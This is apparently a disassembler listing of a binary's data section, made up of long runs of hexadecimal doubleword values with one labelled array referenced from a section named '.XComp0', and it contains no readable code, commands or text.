		dd 109AE722h, 15679F3Dh, 0EA938832h, 9C33BCE2h,	11A3A3D7h
		dd 96661132h, 39E18CDFh, 1EF1816h, 156ACB16h, 0BBD81132h
		dd 0C162691Fh, 809BE7AAh, 0C5999ED4h, 15679A3Dh, 909E8832h
		dd 9E34BF2h, 0FC662232h, 15661134h, 0EA8DEEAAh,	0B88F3D37h
		dd 0FC662232h, 15661135h, 0A3052A0Bh, 9C8920AFh, 14B1D6B7h
		dd 27DF7134h, 1A1705E5h, 156640B3h, 85D94432h, 0F9E570CAh
		dd 31620136h, 0F7EF16C7h, 1562E0B3h, 0FFE51132h, 31720F36h
		dd 3152CD6Eh, 0FD9A4252h, 15661138h, 9DD9E844h,	0D8F6560Dh
		dd 743E7853h, 5DD7765h,	9807D70Eh, 0E9B80EB7h, 0C599DB37h
		dd 1AA61ACBh, 1566B8B7h, 156FAD32h, 61482232h, 3C0E449Dh
		dd 0FC5DE8E0h, 15664402h, 156CCB52h, 27ED1132h,	22968E6Ah
		dd 9561644Dh, 1560AE3Dh, 9A691132h, 15668832h, 3122CD53h
		dd 1CEB2D2Eh, 75661132h, 45950954h, 7480F60Ah, 1568CB53h
		dd 7AB91132h, 58C385CCh, 45CB2941h, 42ED8AE4h, 1575F8F1h
		dd 0C9388832h, 738D7B65h, 99BF14C6h, 57F92469h,	0FE451C4Ch
		dd 138F2428h, 83662232h, 0E38545B5h, 0E1EB03B6h, 756045E5h
		dd 4691A954h, 74384865h, 94840160h, 156640F0h, 118CA332h
		dd 92661132h, 9C3AAC26h, 449E6036h, 0DE29D65h, 694F2C8Ch
		dd 4D398C16h, 0AB7EC037h, 108E420Fh, 9661132h, 81B059Dh
		dd 9E3F9AB9h, 0AE3543F3h, 1566110Eh, 616463B3h,	0D6674E17h
		dd 6164E1B3h, 16651B17h, 1BE38769h, 75664432h, 1566A03Dh
		dd 0F2E71132h, 4C8BADDBh, 1575AD53h, 0B5582232h, 893D62Ch
		dd 0CD24E1E2h, 473B10DBh, 96752CECh, 9DD6EE0Fh,	94668832h
		dd 7C2A6036h, 443C14D4h, 200B18Bh, 0EF870935h, 94558512h
		dd 133F8FBh, 0F4E75861h, 4F4A8957h, 7D4BB5B3h, 0DF4F46D0h
		dd 13EF1E6Bh, 75668832h, 885AFA54h, 90F3AB53h, 0EC63E816h
		dd 5DD9DF60h, 0AF5DB56Bh, 0E6ADFA30h, 9439EB33h, 68265BF8h
		dd 0F68CC53Ah, 1449DF42h, 0EA9E4BE2h, 1ED8442h,	11A2C716h
		dd 15662ADBh, 37657832h, 5EE7234h, 74F3CDE2h, 0E063DB1Ch
		dd 7DA9AF52h, 138EC031h, 98664432h, 30D176Dh, 15EC1E99h
		dd 4B668832h, 3152BB53h, 11A2A36Ah, 0E9661132h,	3142FCCDh
		dd 964240B9h, 0E99F26F6h, 0D142DE1Fh, 1C11A56Dh, 0DD4F399Bh
		dd 0BC6F5537h, 31A9144Fh, 9869D7F6h, 1566442Dh,	157FA13Dh
		dd 18F1132h, 0AF668832h, 0E4B1C6Dh, 5F1E585Dh, 6F49BB5Ch
		dd 52DA7B0Ah, 2EECB537h, 0EC4843B7h, 61E41E37h,	75668832h
		dd 156655DAh, 6A57832h,	619F43D4h, 7638D7A2h, 1D6A46E0h
		dd 4C9F1061h, 2E07D9B9h, 0EC420DB7h, 59E54B37h,	0E0662232h
		dd 15719C3Dh, 78F8832h,	0C4664432h, 55A8255Ch, 6B4AE21Ah
		dd 1949C46Ch, 0B7E00835h, 1A8F43C8h, 1661132h, 3832312Fh
		dd 7DE6F92Dh, 86633B98h, 11A400A4h, 5E08732h, 75664432h
		dd 156625DBh, 0EA62432h, 0C680FAC2h, 74072552h,	3162E5C7h
		dd 64567E65h, 0E2429CC5h, 0AA31602Eh, 64564D6Ah, 11426D1Bh
		dd 156D616Dh, 62374432h, 304BC8BDh, 2F580949h, 31224FF8h
		dd 0E6518836h, 312ADD4Ch, 313AE636h, 31020936h,	0E81FE836h
		dd 3102A354h, 8B541636h, 310A0967h, 0F9F83536h,	3132D5FCh
		dd 310A9036h, 71798736h, 313AB342h, 3122A336h, 69194C36h
		dd 0D3E7E86Ch, 65ED7BC8h, 1568CA52h, 0AED01132h, 615D916Ah
		dd 0F2465B48h, 0D927D119h, 1563F869h, 0E13E8832h, 74AEC742h
		dd 1BDD7153h, 9478FF00h, 516C94D1h, 585C512h, 944BCC05h
		dd 8E3B6EC1h, 0FEE7C346h, 5CDA406Eh, 383DFABBh,	3E454A2Fh
		dd 0FAE7EE52h, 0AE006D3Ch, 98076135h, 0EC28F9BFh, 156E6137h
		dd 0B0C44432h, 0F019C0DEh, 0F499427Dh, 1573073Dh, 58F4432h
		dd 57662232h, 0CB74A420h, 9071E27Ch, 0F6426D40h, 75708274h
		dd 15679F3Dh, 44938832h, 1566448Bh, 308FA332h, 1461D900h
		dd 30A709C3h, 9F618C00h, 1A937B33h, 156616B0h, 14E68732h
		dd 0EC664432h, 9169CB0Eh, 156610A7h, 1A8EB4CBh,	15678AB6h
		dd 12E02D32h, 75661132h, 9E00D362h, 1A5A25F4h, 151FA63Dh
		dd 1B8F1132h, 74668832h, 0BF10FB1Ch, 0F7C7E835h, 209C34D0h
		dd 1AABB42Ah, 156472B6h, 6E72D32h, 0FC661132h, 1566883Ch
		dd 5C5FCF08h, 8D808BD7h, 2AF79C7h, 0FE5A7D28h, 1702C03Dh
		dd 749A2232h, 156618DBh
		dd 897DD432h, 6EADE169h, 96696784h, 15661137h, 74067152h
		dd 1C8F8753h, 18662232h, 940BEE71h, 6424909Dh, 156BC43Dh
		dd 1A062232h, 156611B2h, 0EBDC3732h, 45073BC7h,	15679B63h
		dd 0DDEF1132h, 9F96896Bh, 94061C2Ah, 367D07E4h,	9C69715Ch
		dd 15668832h, 740793B8h, 0EBD29363h, 479791F3h,	25713C62h
		dd 0DE461CD3h, 198F426Bh, 0C7661132h, 230005BCh, 75C99D59h
		dd 750B100Ch, 74949A54h, 959D0853h, 0EA17C13Dh,	9A69DDCDh
		dd 15661135h, 73940352h, 4707BEB9h, 0C6EFD0BBh,	944205B9h
		dd 15668CF6h, 1A062432h, 58ED08Dh, 8D661132h, 2BB42F42h
		dd 0BB5E4B7Eh, 80555EB5h, 4BB3A84Eh, 9569E853h,	15664432h
		dd 0AC374353h, 15661134h, 19ED4333h, 11A2C516h,	1A662232h
		dd 15661BB1h, 15636132h, 879C4432h, 475EE8BEh, 15661388h
		dd 288C0932h, 144FED4Dh, 28A4A3C0h, 164FB84Dh, 9669D228h
		dd 1566443Fh, 15662ADBh, 908D2532h, 9399DEFCh, 1EF4B11h
		dd 0FC662232h, 1566113Dh, 0DE38BFABh, 0CA64D3E8h, 8C8E5E9Ch
		dd 0FC293E17h, 156688A9h, 1410BBCAh, 0A34226B3h, 9E6E3F6Eh
		dd 0D1E7AC2Eh, 15664436h, 49D0C9B3h, 18F191Ch, 72668832h
		dd 6CC119C1h, 0A5196534h, 14F8657Dh, 891E049Ah,	96910834h
		dd 9169D9C9h, 15661026h, 1567093Dh, 969A4432h, 21EF26DEh
		dd 31629016h, 4AA3C228h, 0F8DC569h, 7539E778h, 15629A3Dh
		dd 0AD008832h, 0FFE76B24h, 7F648DB1h, 14DF4053h, 14668832h
		dd 9E7F47C3h, 0D1E7063Eh, 15661136h, 15668DDBh,	1BCEC732h
		dd 0F9E59F47h, 31729836h, 15668D88h, 4FB54532h,	1567AD3Dh
		dd 0FC9F1132h, 0EA997615h, 156657DBh, 97C50532h, 0B3315C73h
		dd 34F67E35h, 5A63496Ch, 998707C1h, 157B943Dh, 73068832h
		dd 0B3068BB3h, 156633DBh, 4610632h, 5AFC50FFh, 0ADF5630Ch
		dd 0B496E216h, 1A073F3Ah, 7567D684h, 9F64B4B3h,	188F36ABh
		dd 76661132h, 8C58E1E6h, 8240891h, 6C07E8F5h, 3B8D9253h
		dd 0E8A30C3Dh, 1A8FBBCDh, 25662232h, 21BFDF6Ch,	3659572Bh
		dd 0AC854916h, 208FA8D0h, 0E0661132h, 156681DBh, 8CCB0832h
		dd 0AC5EC2C2h, 6BE6BB2Bh, 90697633h, 0EA99B9A1h, 1576CB52h
		dd 0F5FE1132h, 105D3022h, 0C548FC9Fh, 607420E2h, 2CDC479Bh
		dd 744948FDh, 0EA9DAADBh, 156CCBCDh, 9DE91132h,	43EB76DDh
		dd 537567CEh
dword_5FF948	dd 9480AB64h, 156615F4h, 11880932h, 92664432h, 9C3A0606h
					; DATA XREF: .XComp0:0057321Ao
		dd 9F693506h, 15668839h, 156642DBh, 2CF83E32h, 40E679D4h
		dd 0D0E76DBBh, 15664436h, 9262CFB1h, 9C3A351Eh,	0FC06AC3Eh
		dd 1566443Dh, 0C6A40630h, 3F6609EFh, 4D416520h,	432F36D7h
		dd 743F7A65h, 94879863h, 15668CF3h, 118FC732h, 49422EB5h
		dd 75420DBBh, 1565043Dh, 9E004432h, 6D0E43C9h, 9C661123h
		dd 9506AC0Eh, 9E0040F0h, 0D55743E5h, 1567963Dh,	75938832h
		dd 0DAED2263h, 7434946Ah, 20DD719Eh, 0FD6BF609h, 15664438h
		dd 3EEAEB0Dh, 0FA7DBC14h, 1D8E4199h, 57664432h,	991C8998h
		dd 4C540080h, 1C8FE968h, 4B664432h, 0A14CC808h,	11C47151h
		dd 9C6264B1h, 0D4EE603Eh, 1A3FE9BAh, 156616BDh,	14EF8732h
		dd 0E9664432h, 477E9262h, 0E556E984h, 3596A468h, 1A8F1CF1h
		dd 19662232h, 0CAC00E62h, 840F7950h, 8FBC503Bh,	9406227Bh
		dd 0F19EF1F5h, 9400E802h, 731327C5h, 74744289h,	659D9153h
		dd 10920C3Dh, 138F4432h, 7C662232h, 0F30403E3h,	1A69B4F1h
		dd 156741B6h, 156CCB32h, 7C0E1132h, 48F4AD78h, 77EBF642h
		dd 9169CB0Eh, 15661D53h, 15668DDBh, 2CDA2932h, 0FE5AA7D6h
		dd 50A953Dh, 299A8832h,	0EFE24BD1h, 1A662231h, 156609BFh
		dd 15756132h, 0CD324432h, 0D5FD0889h, 2F7C6B33h, 4D9380DCh
		dd 8D771C71h, 1A841E04h, 1577C4B6h, 29ED7132h, 0F6EF1716h
		dd 1562E1B3h, 0D6E51132h, 317A0F36h, 35DE246Eh,	742BEF1Dh
		dd 156601DBh, 9C5B9832h, 7F5A6D88h, 43D31C5Fh, 574A8646h
		dd 317A030Fh, 9480CD64h, 156626F4h, 11A09232h, 4942BCB5h
		dd 749ABD52h, 4C4216CDh, 0FC62D5B1h, 15668837h,	0B3478C22h
		dd 9269428Bh, 15661136h, 43483354h, 21ED25CBh, 0F2EF7516h
		dd 1562D6B3h, 0D2E78832h, 15664436h, 49421EB5h,	1560F852h
		dd 16048832h, 997E4DBFh, 1571A33Dh, 78F1132h, 0E7668832h
		dd 61365F52h, 0B43BBF8Bh, 4ACC6C1h, 4FD6988h, 75A525CBh
		dd 54A9F989h, 90A1707Fh, 136750F6h, 15664434h, 0E8AEA352h
		dd 7371B71Ch, 440747B9h, 1566448Bh, 0D48FA332h,	14462136h
		dd 0D4A709C3h, 9F467436h, 73067B2Bh, 0C5E7DEB9h, 34C72C37h
		dd 1569AD53h, 0F99E2232h, 9B4A32F5h, 7130EDF5h,	0AC4A801Ch
		dd 46364417h, 0E9EEE185h, 7385A869h, 14EB4B6Ah,	0E9662232h
		dd 1AE6EAB2h, 0EA9865B7h, 430624CDh, 7507D76Bh,	15669F3Dh
		dd 0CAE78832h, 5DAD229Bh, 0AC374353h, 11EE0B9Fh, 89461B3h
		dd 0DCE73F4Eh, 20F536C8h, 0E99CE0B3h, 0DB4F35A9h, 9E06B16Bh
		dd 0C4ED72EBh, 90ED706Bh, 109F95CFh, 0A4F3CFC7h, 0FC63DB2Ch
		dd 15661138h, 0FD78D3EDh, 0A310E7C9h, 1B8FB1B8h, 87661132h
		dd 0C74B51FBh, 3CE5DBCEh, 0E4534F19h, 7ED07968h, 21EF8832h
		dd 99691F16h, 15662234h, 42077152h, 0F9E5E96Bh,	314ACD36h
		dd 1566248Fh, 488D1032h, 157D0D3Dh, 92694432h, 15662227h
		dd 156601DBh, 61D3AC32h, 0D3951E3Eh, 0B8A43D5h,	0C38B0A49h
		dd 17DFD951h, 14664432h, 9E7F21C3h, 0D1E7353Eh,	15668836h
		dd 156ACF3Dh, 97692232h, 15661134h, 1566073Dh, 0CD5D4432h
		dd 157CA03Dh, 46061132h, 7D950954h, 0E6ED1FCDh,	1ABC1953h
		dd 0EA9810B4h, 0CBEDE8CDh, 74B1CF54h, 256D9F67h, 0D0E72590h
		dd 30CEA91Eh, 3C3BAF1Bh, 22A5A3C9h, 0FC3C5B63h,	15668822h
		dd 62E17BD1h, 0D4FF5E47h, 3A1596F9h, 2A2DD01Fh,	9C62A8B1h
		dd 13D9060Eh, 3C661132h, 9969D7C9h, 1566442Bh, 1575AA3Dh
		dd 1B8F1132h, 1B668832h, 0DAC08B46h, 0C4AE828Ah, 0C8180CD1h
		dd 0EC06E827h, 15664BDBh, 0A2E26232h, 48FA5402h, 7698E518h
		dd 0C9224400h, 0B8004353h, 1DE61ECEh, 1A668832h, 156646B3h
		dd 73074232h, 11E11E99h, 75668832h, 7507E581h, 66FE3889h
		dd 2407ED0Eh, 24A5B9EAh, 14E94BEAh, 0E0662232h,	14E61E99h
		dd 0ED668832h, 1CDE1467h, 0A85FC840h, 2C8C633Fh, 143E4D1Bh
		dd 1A0619DCh, 156629B6h, 1560F832h, 88668832h, 5DF956Ch
		dd 0A45B8189h, 29EF7071h, 1DE28716h, 1A664432h,	156620B4h
		dd 9C077132h, 1A6AAC46h, 156648B6h, 1561CB32h, 0EC3C1132h
		dd 5BDC141Eh, 0C8D3CDFCh, 7563DB1Bh, 15661EDBh,	2764D32h
		dd 0BA37BAD9h, 15BCD89Ah, 0C7F8B66Eh, 49D143B3h, 9E076F9Eh
		dd 9C35060Eh, 11A590D1h, 96668832h, 9E140F1h, 58F7E16h
		dd 0AC661132h, 5979FEA8h, 5E68420Ch, 0D93161D7h, 9EDEB0B2h
		dd 9C36AC2Eh, 156241D2h, 11632232h, 92661132h, 1A3AAC36h
		dd 156648BEh, 13EC2D32h, 1A661132h, 156688BFh, 3152BB32h
		dd 11A2A36Bh, 75661132h, 73A80354h, 0EA0792B9h,	96380606h
		dd 9F6915F6h, 15668827h, 156654DBh, 7BFDAA32h, 75BF83DBh
		dd 0C3FF638Ah, 0F609BE45h, 0F5EF72D1h, 15661537h, 11DFD932h
		dd 14664432h, 11E17BFAh, 9B694D16h, 15668833h, 2AD724C7h
		dd 0C841CB53h, 9069EECDh, 15668833h, 0D1E383CEh, 176023EAh
		dd 1A661132h, 156689B7h, 290EBC32h, 9C66225Ah, 0E4EF353Eh
		dd 0FC3F43BBh, 1566443Ch, 5A27D615h, 8F70D94Dh,	2649D1EFh
		dd 0A369AB6Ch, 0ECE6DB3Ch, 45E51EB2h, 1A668832h, 156645BDh
		dd 0FEE7DE32h, 20AA6A93h, 286E4BB3h, 0DE675DCAh, 286EC9B3h
		dd 0D6E708CAh, 20AAF393h, 1568AD52h, 0E7902232h, 0FB31D459h
		dd 5F3218D1h, 0BFAC9290h, 1562A33Dh, 0AC001132h, 4307EEDBh
		dd 1566458Ch, 4B952332h, 15F7F8CAh, 45938832h, 0A14DF361h
		dd 4E9A1205h, 0EBD1D5B2h, 0AF8208FEh, 0F9E680CCh, 4D870AA6h
		dd 15661BDBh, 3A90B432h, 28B2C324h, 5C9DE917h, 3172E663h
		dd 18E4876Bh, 0FC664432h, 1566223Ah, 129F46F4h,	0B3D1C221h
		dd 15527A5Ah, 3162AB32h, 0D137138Ah, 0D42EC824h, 0CD9142D2h
		dd 944BFAC5h, 34D7050Dh, 1E8FD0F3h, 0AE664432h,	2214717Ah
		dd 0E1038C23h, 0D6E7D83Dh, 7A440DF8h, 0AA31E91Bh, 15A2065Ch
		dd 7DB56FB3h, 0F2A70D96h, 6389A337h, 3CC74C8Ch,	9E9ED7C9h
		dd 0EC7BB9B7h, 13E72D37h, 75661132h, 1AD5E952h,	0A4F3CF53h
		dd 0FC63DB2Ch, 15661139h, 0A10CE52Ch, 2E0F8F11h, 96513696h
		dd 0EC46788Fh, 91698937h, 15664140h, 1579A83Dh,	91691132h
		dd 1566882Bh, 156650DBh, 4C325732h, 0D498CA22h,	5A986F0h
		dd 2F975103h, 62617FA1h, 1AA528C7h, 1563CDB0h, 0AC062432h
		dd 3EFC257h, 68F7053h, 0FB668832h, 8D0B3006h, 0C4CE2E90h
		dd 180A41F1h, 0C2488189h, 0C65F1B6Dh, 0EFE2A03Dh, 4606EECDh
		dd 7438E952h, 156355DBh, 90A1D732h, 1367C9F6h, 15668830h
		dd 1563AD52h, 0ABE12232h, 0FC26E94Ch, 15668826h, 0CE1CBC1Ah
		dd 60BBBC2Ah, 90DAE878h, 31665ABBh, 0DF48367Ah,	4F307053h
		dd 0FC3CC2BBh, 1566883Eh, 0B3C2B9F2h, 0C0706F74h, 0FE161D58h
		dd 1A683E3Dh, 156656B8h, 156BCB32h, 0F9111132h,	0CD98C8E6h
		dd 0AAAF0487h, 9582F189h, 966991CBh, 1566887Bh,	3F8DC5CAh
		dd 94779071h, 20B95F1h,	94AD8916h, 20BC0D9h, 3FA5A316h
		dd 7577A371h, 156684DAh, 805FFB32h, 0F4657448h,	53416B0h
		dd 0CAEDEEE8h, 0E4D94B6Dh, 11997153h, 317A9A16h, 15624CB3h
		dd 0FC9E4432h, 156622B3h, 0EAD142CBh, 9ED711Ah,	11A2C716h
		dd 15664ACAh, 11E71132h, 82335316h, 316A6D2Fh, 0CE420EB3h
		dd 4C7B8667h, 15E48752h, 9E664432h, 439F43CBh, 0D150EE8Ch
		dd 1680494Ch, 0C291BAB5h
		dd 0E3E7DCB5h, 1CB859CAh, 0FC387913h, 1566443Dh, 0CF625D09h
		dd 0C3916A58h, 1CA7827h, 947CB66Dh, 506C87F1h, 45AD384Bh
		dd 4D01BF8Ah, 4F01492Bh, 0C59132A7h, 37EC0C37h,	4DA5A1A1h
		dd 0E2D82252h, 0D6D92DA2h, 0E8E39A53h, 1A63712Fh, 156656B0h
		dd 156BCB32h, 6A3A1132h, 0FF4E598Dh, 97C3C482h,	9EC49B11h
		dd 0EC78A0A7h, 0AA69E837h, 1A0625ECh, 156626B5h, 0A1DE7732h
		dd 0C5D187AFh, 7CDBC753h, 1463DB12h, 16FE953Dh,	2E9F8832h
		dd 3AE44BEAh, 75662232h, 14909054h, 13EE878Fh, 94664432h
		dd 5EDB76D9h, 0C65F7070h, 0EDBA0E3Dh, 9969BBCDh, 1566223Ch
		dd 15EB1E52h, 1A668832h, 156644B4h, 0AC374332h,	0EA99EECDh
		dd 753F4633h, 128EB3B9h, 0B662232h, 508C46D3h, 743F403Ch
		dd 156643DBh, 7E679132h, 70BA45D0h, 0E8D5DB60h,	0CF665680h
		dd 4FB6AA69h, 156605DBh, 2BE98332h, 15B07C55h, 0F388924Ah
		dd 0F5710E75h, 0CFB30EEBh, 1572ADC3h, 0BA6D2232h, 66E2ADF0h
		dd 0C076FBC8h, 0C0E86EB6h, 0A3EA1C20h, 75CC0862h, 15669CDBh
		dd 1375A732h, 18E197FBh, 0FD57BC06h, 39B8C8C6h,	80E0DD09h
		dd 9E007303h, 46074BEDh, 11F53260h, 0FFA75B32h,	94B4D537h
		dd 0ED6634F0h, 4FB50132h, 1EECB733h, 0FAE64269h, 9A69704Ah
		dd 15668833h, 118AC5CEh, 9C662232h, 0CFD5352Eh,	0CD662E82h
		dd 7E94B69h, 1A662232h,	15661DB7h, 15616132h, 37494432h
		dd 0D3A9B688h, 0FCD142A9h, 95897FB2h, 0A136FFFDh, 1D8AA2D9h
		dd 9564FDF2h, 0C99022DEh, 25DC80B2h, 0D2987AD5h, 0E2E6D6CCh
		dd 4E9FA8A8h, 0FCAE4CCAh, 15662220h, 29BB1EA5h,	852BF8ECh
		dd 682B732Ch, 38C1E36Fh, 1ACC9D52h, 15669ABFh, 156BAD32h
		dd 9BD62232h, 6CC2DFB1h, 0B28B1A67h, 75B4163Bh,	15E42D52h
		dd 0FC661132h, 1566883Ch, 0AC228F22h, 3D92D2FFh, 895B605h
		dd 9507E77Ch, 9407FCC5h, 235F67F1h, 409D3860h, 235FCD8Fh
		dd 488D6D60h, 706F4AC7h, 39EF1132h, 15623516h, 0FE4F4432h
		dd 188F426Fh, 8E661132h, 665202Ch, 48BDC114h, 2C35E76Dh
		dd 33A6C988h, 0CD57E97Dh, 0CD578703h, 15EC2D52h, 75661132h
		dd 156683DBh, 2774C532h, 2C6E600Bh, 88D5DFAAh, 156684DBh
		dd 62674332h, 5B54BB8Dh, 0F1145FE4h, 1A07E976h,	156655BFh
		dd 156ACB32h, 95311132h, 7B636A30h, 0E9A42B01h,	1ACD375Dh
		dd 156600B4h, 156A6132h, 763B4432h, 78391729h, 5A7FD5D3h
		dd 0F9E7F675h, 15664436h, 0AC422EBBh, 15661130h, 753F4633h
		dd 5DD8ACB8h, 74571243h, 3CBBA4BBh, 108F8DCBh, 9A664432h
		dd 58D5DC0Fh, 350F94F5h, 15678DCBh, 1A064432h, 9F34DB8Dh
		dd 40074BCCh, 0D0E76DBBh, 15664436h, 15629C64h,	0E0671132h
		dd 314A0F6Ch, 1560AD6Eh, 0E9B2232h, 2C18A2Dh, 404294B9h
		dd 0D0E7A1BBh, 15662236h, 9262D4B1h, 753AAC1Eh,	15664BDBh
		dd 9A1E1732h, 0D1624077h, 7956EA0h, 956FC10Eh, 19ED43CEh
		dd 0F5EF4116h, 15668C37h, 11A6C732h, 494226B5h,	1575F852h
		dd 33EA8832h, 8A588BAh,	0BFA9EAACh, 0E3BAFE44h,	30F1FBBDh
		dd 0FDE7226Fh, 47071D8Bh, 0D7E7F3BBh, 15668836h, 926286B1h
		dd 31ED0626h, 7506E416h, 1566033Dh, 94004432h, 749EA6E1h
		dd 156614DAh, 0C50BC32h, 68FB44Bh, 22662232h, 54251E4Fh
		dd 0FA1D4A0Eh, 0BA674B39h, 588756AAh, 74398A45h, 943FDC63h
		dd 156640F3h, 11A7A132h, 49421DB5h, 15746052h, 0E084432h
		dd 0FA50A064h, 0E5B8AD2Eh, 15D56B4Dh, 0A861374Dh, 15662DDBh
		dd 44E55632h, 0A506A988h, 42017754h, 5A953BD2h,	13EB1E6Bh
		dd 1A668832h, 156644B0h, 938F4332h, 7599EEE4h, 1566053Dh
		dd 9A694432h, 1566223Dh, 156618DAh, 5ADD432h, 50421F8Fh
		dd 743828AAh, 156618DBh, 1D4F8632h, 0FBF7814h, 0AC373655h
		dd 15661133h, 0FC3F461Bh, 15664422h, 536554Eh, 0A188FF7Ah
		dd 5EAFEC35h, 37BCF0Ch,	0A734B682h, 0EBACEFD6h,	988C08F8h
		dd 753C9432h, 0DEED4464h, 9400476Ah, 4A75FFE8h,	0BF072453h
		dd 0E4EF73CEh, 19EDD9BBh, 11A20916h, 1A664432h,	156635BCh
		dd 9E007132h, 156A60E3h, 12EE4432h, 0D076A1CAh,	0CC7CE25Ch
		dd 7438E6AAh, 25A6FA64h, 0CB910A1Fh, 76889074h,	535D0669h
		dd 1913A2B3h, 0FBE77157h, 1FBAB8CEh, 3C38781Bh,	433F41CAh
		dd 449E2755h, 1566158Bh, 10A38D32h, 0DD4F1B15h,	3263E71Fh
		dd 9C69486Dh, 1566881Ch, 1574AC52h, 0FDD42232h,	0BC5FBA4Dh
		dd 2991B930h, 0FA70C38Ah, 52A3794Eh, 1569F86Dh,	90B58832h
		dd 143F1314h, 2F5FD8E3h, 0A0E97939h, 75CDE95Fh,	1563C83Dh
		dd 94002232h, 0FCFE08C5h, 15668837h, 99C9B13Bh,	0F9E54363h
		dd 314A9836h, 0D0E76DBBh, 15664436h, 9262E7B1h,	1A3A351Eh
		dd 156689BBh, 9EDBC32h,	0F0EF7716h, 1562D4B3h, 0D0E58832h
		dd 314AC336h, 9E9FD76Eh, 9C34353Eh, 11A409D0h, 96664432h
		dd 1E126F0h, 95694D16h,	1566883Eh, 156643DBh, 0A8FA8732h
		dd 5B4558FDh, 4042BCB9h, 0D0E7A1BBh, 15662236h,	9262D4B1h
		dd 753AAC1Eh, 73A5F33Dh, 74CF508Ah, 10869862h, 15668836h
		dd 926284B1h, 31ED0636h, 1DE81E16h, 1A668832h, 156646BDh
		dd 0FC074232h, 0EA99C938h, 0D1E34FCEh, 106045EAh, 75662232h
		dd 0EDED7763h, 74AC036Ch, 1574165Ah, 3152AB32h,	0C423DB3h
		dd 4E10C64Eh, 697F87B3h, 9E69547Ch, 1566113Eh, 15600C3Dh
		dd 95694432h, 15662232h, 157E9C3Dh, 68F8832h, 23664432h
		dd 39980E41h, 14850469h, 0B3645409h, 0E201D736h, 0A8336390h
		dd 15661136h, 39ED6333h, 11A2C716h, 0C5D12D52h,	1564903Dh
		dd 4A358832h, 1CBC2C53h, 19EF2232h, 1566A816h, 0E4678832h
		dd 753F5D31h, 0FD944CAh, 75067080h, 0E3DC7BB9h,	740F9BDCh
		dd 1917EBB3h, 9E076B60h, 0EC7B75B7h, 156FAD37h,	0E4442232h
		dd 0D06681Bh, 7543531Fh, 9F6991B8h, 15662230h, 9E074864h
		dd 0EC7839A7h, 7306B837h, 73781489h, 74EEB989h,	24723361h
		dd 56252D9Dh, 2AC3C1B3h, 0D6E74FB4h, 0A21F46CFh, 0FC3D9A1Bh
		dd 1566223Ah, 0D7CAC75Eh, 0FB729B9h, 183F9B1h, 1A6727CBh
		dd 15604DB6h, 0CD5D7132h, 1548C63Dh, 1C8F2232h,	12661132h
		dd 0EAA033D6h, 0C55ED584h, 9369F809h, 15661034h, 15669BDBh
		dd 3B125B32h, 47DEE326h, 4EC3BAD9h, 0AC78327Eh,	0D6378E25h
		dd 3CBB97BBh, 956914CBh, 15668833h, 0D1FBCFCAh,	0E96023EAh
		dd 194255B3h, 1944A646h, 19421833h, 3B129F67h, 794F1D10h
		dd 0E93B9816h, 1563B0DBh, 0DEE2D32h, 1A661132h,	15669ABBh
		dd 156BAD32h, 8B6A2232h, 123E91Bh, 0FFE8B104h, 0EACD4A14h
		dd 94390606h, 156615F6h, 90A17432h, 109F50D7h, 15662233h
		dd 156A993Dh, 128F8832h, 75664432h, 0A02D1C39h,	219957E3h
		dd 0D1E5D316h, 156EAD36h, 0DA4D2232h, 0C589EBC5h, 19EDF219h
		dd 0F0EF1116h, 1562E7B3h, 0D0E51132h, 314A0F36h, 1572AD6Eh
		dd 848F2232h, 0B6EC77BBh, 78DDA945h, 0C48794B7h, 0D49E17E8h
		dd 0EA9F9006h, 9438AC06h, 156640F6h, 9C34D732h,	11A490D0h
		dd 96668832h, 0EA3440F0h, 4F620646h, 494215BDh,	0C7D961C7h
		dd 9269BBCDh, 15662238h, 94077152h, 3D3FACE9h, 0A8E5256Dh
		dd 109F025Bh, 3FE21E33h, 75668837h, 156656DAh, 0DF4B2332h
		dd 59ACB96Dh, 8A058949h, 1F0DED92h, 0FD6517D5h,	15661126h
		dd 1BAD4A5Eh, 7696D684h
		dd 27639CCEh, 7D28BD30h, 57F3F90Ah, 3E071E68h, 0EC7BDFAFh
		dd 156BF837h, 0C9298832h, 685B18E4h, 0E91E4EFFh, 9E2B99CFh
		dd 0EC62C1BFh, 11E64B37h, 75662232h, 9407DAB9h,	566A98F3h
		dd 0E08FC52Bh, 14071C2Bh, 0E0A790EBh, 9407B62Bh, 566A54DBh
		dd 156BCB2Bh, 5E4B1132h, 4099000h, 1DE57457h, 94AA9542h
		dd 67308DBh, 479FA15Fh,	62716A88h, 0D7E76832h, 4460363Bh
		dd 0B8C0970h, 14822E1Bh, 439A78E3h, 1566148Ch, 9E97A132h
		dd 0D1E56006h, 53D34236h, 0B0E7753h, 19EFEE02h,	9D8FF116h
		dd 1A3F44DAh, 156616B0h, 14E08732h, 0E9664432h,	0AF004298h
		dd 2407830Ch, 24A7B9FAh, 19EE4BFAh, 1A662232h, 156617BBh
		dd 15EC8732h, 0BE664432h, 1561A73Dh, 9F691132h,	15668833h
		dd 733424CBh, 4C3A058Ch, 4307C8B9h, 0D3E76EBBh,	15664436h
		dd 15629F67h, 0FB671132h, 31520F6Fh, 1C8FBC6Eh,	8B662232h
		dd 0B52FEBB3h, 0C84D7101h, 4E4270CDh, 1562E6B3h, 91691132h
		dd 1566882Fh, 0E7D94B52h, 156631DBh, 775F0332h,	644DF5C9h
		dd 3B44B34h, 5E205E3Eh,	322A472Fh, 316A0353h, 9483CD67h
		dd 156626F7h, 11A39032h, 92668832h, 1A3A601Eh, 156623B2h
		dd 2199E932h, 0D1E5D616h, 94692436h, 15662234h,	15669D3Dh
		dd 9D698832h, 1566443Dh, 15662BDAh, 0FC42EE32h,	0F58C700Ah
		dd 743C5980h, 9483AB67h, 156615F7h, 11A30B32h, 9E4268B5h
		dd 90690616h, 1566113Eh, 1560063Dh, 9D694432h, 15662232h
		dd 0EAB218DBh, 0DCE6E8CDh, 1575AD20h, 82872232h, 799F0B21h
		dd 13EFF936h, 9C0283E5h, 7800D0E1h, 90A17070h, 136750F6h
		dd 15664430h, 9D694252h, 15661132h, 743948B2h, 15664DDBh
		dd 7F1A3232h, 0CDCBB41Fh, 4507E2C8h, 0D6EFB4BBh, 964226B9h
		dd 48F15F6h, 0D668832h,	8E39B79Bh, 0D29D9ED5h, 376FC6BAh
		dd 4B4A8F6h, 1A68F23Dh,	15662CBDh, 138F7132h, 71668832h
		dd 24D1FF11h, 9507DE20h, 966991CBh, 1566886Bh, 1574CD3Dh
		dd 188F2232h, 0F4661132h, 97E65F0Bh, 97DC2C82h,	2461D580h
		dd 6794FAB3h, 0FEE79BDAh, 582139B4h, 0D6E7E933h, 58216CB4h
